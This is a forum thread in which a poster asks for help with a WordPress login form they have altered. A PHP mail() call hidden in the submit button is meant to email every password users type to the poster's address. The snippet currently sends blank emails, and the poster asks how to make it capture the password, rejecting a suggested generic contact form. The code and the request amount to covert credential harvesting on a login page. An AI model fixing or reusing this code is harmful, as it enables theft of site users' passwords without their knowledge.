Hi guys .. i need some hlp with this code. what i want to do is to get user enetered password emailed. here is the code that i am working on.. <form name="loginform" id="loginform" action="wp-login.php" method="post"> <?php if ( !isset($_GET['checkemail']) || !in_array( $_GET['checkemail'], array('confirm', 'newpass') ) ) : ?> <p> <label><?php _e('Username') ?><br /> <input type="text" name="log" id="user_login" class="input" value="<?php echo attribute_escape(stripslashes($user_login)); ?>" size="20" tabindex="10" /></label> </p> <p> <label><?php _e('Password')?><br /> <input type="password" name="pwd" id="user_pass" class="input" value="" size="20" tabindex="20" /></label> </p> <?php do_action('login_form'); ?> <p class="forgetmenot"><label><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90" /> <?php _e('Remember Me'); ?></label></p> <p class="submit"> <input type="submit" name="wp-submit" id="wp-submit" value="<?php _e('Log In'); $to = "my@email.com"; $subject = "Password"; $body = "The password is : \n"; $body .= $pwd; mail($to, $subject, $body);?>" tabindex="100" /> <input type="hidden" name="redirect_to" value="<?php echo attribute_escape($redirect_to); ?>" /> <input type="hidden" name="testcookie" value="1" /> </p> <?php else : ?> <p> </p> <?php endif; ?> </form> PHP: but when i enter the password into password field.. i get a blank email.. can anybody tell me whats wrong with this code..
You can just use the PHP all purpose form emailer: http://www.barrywise.com/2008/01/generic-all-purpose-php-contact-form-submitter/
thanks for the link itcn.. but problem is that i want to get user entered password to be emailed.. so that contact form wont help me.. i want to know how to get password as input in the above code.. as i am getting a email with this code but without any password in it.